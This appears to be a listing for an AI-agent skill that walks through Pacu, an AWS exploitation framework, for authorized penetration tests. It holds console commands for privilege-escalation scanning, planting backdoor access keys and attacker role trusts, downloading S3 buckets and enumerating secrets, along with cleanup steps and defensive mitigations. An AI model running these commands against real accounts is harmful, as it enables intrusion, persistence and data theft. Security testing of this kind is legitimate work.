AGENT SKILL

exploiting-aws-with-pacu

Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence/backdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.

License 许可
Apache-2.0
最近更新
2026-08-31
Stars
★ 3.6w
Forks
4.4k

01 前言 Front Matter

name
exploiting-aws-with-pacu
tags
[ "pacu", "aws", "cloud-pentest", "privilege-escalation", "persistence", "iam-abuse", "offensive-security", "red-team" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "PR.AA-05" ]
subdomain
cloud-security
description
Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence/backdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.
mitre_attack
[ "T1078.004" ]

02 资源文件 7

03 SKILL.md 正文

Exploiting AWS with Pacu

Legal Notice: This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope/Rules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.

Overview

Pacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence/backdooring/exfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.

A Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with set_keys or by importing from ~/.aws/credentials), confirm the identity with whoami, then enumerate IAM and the rest of the account. The flagship workflow is iam__enum_permissions followed by iam__privesc_scan, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole + lambda:CreateFunction, sts:AssumeRole) and can auto-exploit them. Persistence modules such as iam__backdoor_users_keys mint a second access key on an existing user, and iam__backdoor_assume_role adds a trust to a role so the attacker can assume it later.

This skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence/backdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com/RhinoSecurityLabs/pacu.

When to Use

  • Conducting an authorized AWS cloud penetration test or red-team engagement
  • Assessing the blast radius of a single compromised IAM credential (privesc scanning)
  • Demonstrating persistence/backdoor techniques to drive remediation
  • Generating realistic attacker telemetry to test cloud detections (purple team)
  • Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure

Prerequisites

  • Pacu installed:
    python3 -m pip install -U pip
    python3 -m pip install -U pacu     # then run: pacu
    # or, preferred on Kali, with pipx:
    pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
    # or Docker:
    docker run -it rhinosecuritylabs/pacu:latest
    
  • AWS access key/secret (and optional session token) for the in-scope target principal
  • A signed authorization / Rules of Engagement document defining scope
  • Python 3.9+ and outbound HTTPS to AWS API endpoints
  • AWS CLI installed for verification (aws sts get-caller-identity)

Objectives

  • Install Pacu and create an isolated engagement session
  • Load and validate target AWS credentials
  • Enumerate IAM permissions for the compromised principal
  • Identify and (where authorized) exploit privilege-escalation paths
  • Establish persistence via backdoor access keys and role trusts
  • Enumerate and access data in EC2, S3, and Secrets Manager
  • Export findings for reporting and ensure all artifacts are removed

MITRE ATT&CK Mapping

ID Name Use in this skill
T1078.004 Valid Accounts: Cloud Accounts Pacu operates as a valid AWS principal and abuses its permissions
T1098.001 Account Manipulation: Additional Cloud Credentials iam__backdoor_users_keys mints a second access key
T1098.003 Account Manipulation: Additional Cloud Roles iam__backdoor_assume_role / privesc via role policy changes
T1580 Cloud Infrastructure Discovery ec2__enum, iam__enum_users_roles_policies_groups
T1530 Data from Cloud Storage s3__download_bucket retrieves S3 objects
T1552.005 Unsecured Credentials: Cloud Instance Metadata API EC2 IMDS credential abuse

Workflow

1. Launch Pacu and create a session

pacu
# In the Pacu console:
Pacu> set_keys
#   key alias  : engagement-target
#   access key : AKIA...
#   secret key : ...
#   session tok: (optional)

2. Confirm the identity you are operating as

Pacu> whoami
Pacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity

3. Enumerate IAM entities and the compromised principal's permissions

Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM            # review what was collected into the session DB

4. Scan for privilege-escalation paths

iam__privesc_scan checks the principal against known AWS privesc primitives and lists viable methods.

Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline      # analyze without making changes

5. Establish persistence with a backdoor access key

Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker

6. Enumerate compute and storage

Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3

7. Harvest secrets

Pacu> run secrets__enum

8. Non-interactive execution (CI / scripted)

Pacu supports one-shot module execution from the shell.

pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
     --module-args "--names target-bucket" --exec

9. Export findings and clean up

Pacu> data all > /dev/stdout         # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json

See scripts/agent.py to drive the enumerate->privesc flow non-interactively.

Tools and Resources

Resource Purpose Link
Pacu GitHub Source, modules, wiki https://github.com/RhinoSecurityLabs/pacu
Pacu module list Per-module documentation https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
Rhino AWS privesc research The privesc primitives iam__privesc_scan checks https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
AWS IAM docs Permission and policy reference https://docs.aws.amazon.com/IAM/latest/UserGuide/
CloudGoat Vulnerable AWS lab to practice safely https://github.com/RhinoSecurityLabs/cloudgoat

OPSEC and Detection Considerations

Pacu modules are noisy and durable; an operator must plan for both detection and cleanup:

  • iam__enum_permissions and iam__enum_users_roles_policies_groups generate a large burst of iam:List*/iam:Get* calls visible in CloudTrail and GuardDuty (Discovery:IAMUser/AnomalousBehavior).
  • iam__privesc_scan in non-offline mode can make state-changing calls (iam:CreatePolicyVersion, iam:AttachUserPolicy); use --offline for analysis only.
  • iam__backdoor_users_keys triggers iam:CreateAccessKey, and iam__backdoor_assume_role triggers iam:UpdateAssumeRolePolicy — both are high-signal persistence indicators that defenders alert on.
  • Record every artifact ID (access keys, policy versions, role-trust changes) so each can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.

Defensive Mitigations to Recommend

Finding Remediation
Over-permissive IAM principal (privesc path) Apply least privilege; scope iam:PassRole with conditions
iam:CreatePolicyVersion / SetDefaultPolicyVersion allowed Remove from non-admin roles
Long-lived access keys Enforce key rotation; prefer roles / short-lived STS creds
No detection on key creation Alert on CreateAccessKey / UpdateAssumeRolePolicy in CloudTrail

Key Module Reference

Module Purpose
iam__enum_users_roles_policies_groups Enumerate all IAM principals and policies
iam__enum_permissions Resolve the current principal's effective permissions
iam__privesc_scan Identify (and optionally exploit) privesc paths
iam__backdoor_users_keys Create a backdoor access key on a user
iam__backdoor_assume_role Add an attacker-controlled trust to a role
ec2__enum Enumerate EC2 instances, volumes, snapshots
s3__download_bucket Download objects from an S3 bucket
secrets__enum Enumerate Secrets Manager / SSM parameters

Validation Criteria

  • [ ] Pacu installed and console launches
  • [ ] Engagement session created and keys loaded
  • [ ] Identity confirmed with whoami / sts get-caller-identity
  • [ ] IAM entities and current-principal permissions enumerated
  • [ ] iam__privesc_scan run and viable paths documented
  • [ ] Persistence module behavior demonstrated (in authorized scope)
  • [ ] EC2/S3/secrets enumeration completed
  • [ ] All created backdoors (keys, role trusts, policies) recorded and removed
  • [ ] Findings exported for the engagement report
  • [ ] No residual attacker artifacts remain in the account

04 同仓库更多 Skills

mukul975
mukul975/Anthropic-Cybersecurity-Skills

verifying-build-provenance-with-slsa-sigstore

Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-tpm-measured-boot-attestation

Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-backup-integrity-for-recovery

Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.

测试与质量Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-windows-with-kape

Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-vulnerabilities-with-ssvc-framework

Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-security-incident

Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.

Skill与智能体开发
★ 3.6w